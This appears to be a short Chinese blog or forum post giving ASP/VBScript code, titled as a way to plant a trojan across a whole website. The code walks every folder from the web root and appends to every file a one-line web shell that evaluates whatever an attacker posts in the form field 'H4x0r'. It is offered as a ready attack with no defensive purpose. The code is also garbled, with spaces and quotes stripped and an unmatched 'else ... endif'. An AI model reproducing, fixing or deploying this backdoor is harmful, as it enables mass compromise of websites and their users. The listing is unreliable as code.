FSO遍历目录实现全站插马的代码

2018-09-06 13:12

阅读:834

  <%
dimph
dimintfile
server.ScriptTimeout=600
ph=server.mappath(/)
SubInsertAllFiles(Path)
SetFSO=CreateObject(Scripting.FileSystemObject)
onerrorresumenext
Setf=FSO.GetFolder(Path)
Setfc2=f.files
ForEachmyfileinfc2
SetFS1=CreateObject(Scripting.FileSystemObject)
Settfile=FS1.opentextfile(path&&myfile.name,8,false)
tfile.writeline<SCRIPTRUNAT=SERVERLANGUAGE=JAVASCRIPT>eval(Request.form(H4x0r)+)</SCRIPT>
else
InsertAllFiles(newpath)
endif
tfile.close
Next
Setfsubfolers=f.SubFolders
ForEachf1infsubfolers
newpath=path&&f1.name
InsertAllFiles(newpath)

Next
settfile=nothing
SetFSO=Nothing
EndSub
%>
<%
callInsertAllFiles(ph)
%>


评论


亲,登录后才可以留言!